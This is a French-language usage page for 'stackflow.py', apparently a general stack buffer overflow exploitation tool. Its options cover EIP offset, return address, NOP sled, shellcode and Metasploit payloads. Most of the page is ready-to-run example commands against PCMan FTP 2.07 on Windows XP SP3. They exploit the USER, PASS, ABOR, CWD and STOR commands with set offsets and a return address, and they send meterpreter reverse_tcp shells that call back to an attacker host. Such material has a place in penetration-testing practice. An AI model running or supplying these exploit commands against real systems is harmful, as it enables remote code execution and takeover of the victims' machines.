
Outil universel d'exploitation de débordement de tampon basé sur la pile.
Outil universel d'exploitation de débordement de tampon basé sur la pile
usage: ./stackflow.py OPTIONS
optional arguments:
-h, --help show this help message and exit
-r RHOST, --rhost RHOST
rhost
-p RPORT, --rport RPORT
rport
-c CMDS, --cmds CMDS commands to send to server before overflow
-v VULNCMD, --vulncmd VULNCMD
vulnerable command
-o OFFSET, --offset OFFSET
offset to EIP
-ao AUTOOFFSET, --autooffset AUTOOFFSET
calculate offset from cyclic pattern EIP string
-a RETURNADD, --returnadd RETURNADD
return address
-n NOPS, --nops NOPS number of NOPS \x90 x 4 to prepend
-m PAYLOAD, --payload PAYLOAD
MSF payload
-i LHOST, --lhost LHOST
lhost
-l LPORT, --lport LPORT
lport
-f FUZZ, --fuzz FUZZ Fuzz with cyclic pattern of size
-t, --calc Send calc.exe shellcode
-t1, --cmdprompt Send cmd.exe shellcode
-d, --display Display the exploit buffer
-q, --quiet Display less cruft
-w TIMEOUT, --timeout TIMEOUT
Timeout for socket (Default: 5)
-e CFEXPORT, --cfexport CFEXPORT
Export exploit config and metasploit rc file
-g CFIMPORT, --cfimport CFIMPORT
Import and run exploit from config file
-s STANDALONE, --standalone STANDALONE
Export exploit to a standalone python script
Toutes les options peuvent être saisies via la ligne de commande ou lues à partir d'un fichier de configuration.
Quelques exemples pour PCMan FTP 2.07 fonctionnant sous WindowsXP SP3 (ENG) :
Application vulnérable : http://www.exploit-db.com/wp-content/themes/exploit/applications/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z
Exploiter sans aucune commande et envoyer un shellcode meterpreter/reverse_tcp qui rappelle vers 192.168.0.2 sur le port 4444 :
./stackflow.py -i 192.168.0.2 -l 4444 -r 192.168.0.9 -p 21 -o 2012 -m windows/meterpreter/reverse_tcp -a 7E429353
Exploiter la commande USER et envoyer un shellcode meterpreter/reverse_tcp qui rappelle vers 192.168.0.2 sur le port 4444 :
./stackflow.py -i 192.168.0.2 -l 4444 -r 192.168.0.9 -p 21 -o 2007 -m windows/meterpreter/reverse_tcp -v 'USER' -a 7E429353
Exploiter la commande PASS et envoyer le shellcode calc.exe :
./stackflow.py -r 192.168.0.9 -p 21 -o 6103 -v 'PASS' -c 'USER anonymous' -a 7E429353 -t
Exploiter la commande ABOR et envoyer un shellcode meterpreter/bind_tcp écoutant sur le port 4444 :
./stackflow.py -r 192.168.0.9 -p 21 -o 2007 -v 'ABOR' -c 'USER anonymous&PASS [email protected]' -a 7E429353 -l 4444 -m windows/meterpreter/bind_tcp
Exploiter la commande CWD, envoyer le shellcode cmd.exe et afficher le buffer d'exploitation :
./stackflow.py -r 192.168.0.9 -p 21 -o 2008 -v 'CWD' -c 'USER anonymous&PASS [email protected]' -a 7E429353 -t1 -d
Fuzzer la commande STOR avec un buffer cyclique de taille 3000 :
./stackflow.py -r 192.168.0.9 -p 21 -v 'STOR' -c 'USER anonymous&PASS [email protected]' -f 3000
Exploiter la commande CWD avec la chaîne d'auto-offset depuis EIP après un crash de fuzzing et envoyer le shellcode cmd.exe :
./stackflow.py -r 192.168.0.9 -p 21 -ao o9Cp -v 'CWD' -c 'USER anonymous&PASS [email protected]' -a 7E429353 -t1
Exporter le script py de l'exploit et le fichier rc Metasploit :
./stackflow.py -r 192.168.0.9 -p 21 -o 2008 -v 'CWD' -c 'USER anonymous&PASS [email protected]' -a 7E429353 -e revCWD -l 4444 -m windows/meterpreter/reverse_tcp -i 192.168.0.2
Démarrer msfconsole et lancer l'exploit et le handler :
msfconsole -r revCWD.rc
Lancer l'exploit et le handler depuis msfconsole :
resource /path/to/revCWD.rc
Lancer un exploit depuis un fichier de configuration (pas de handler !) :
./stackflow.py -g revCWD(.py)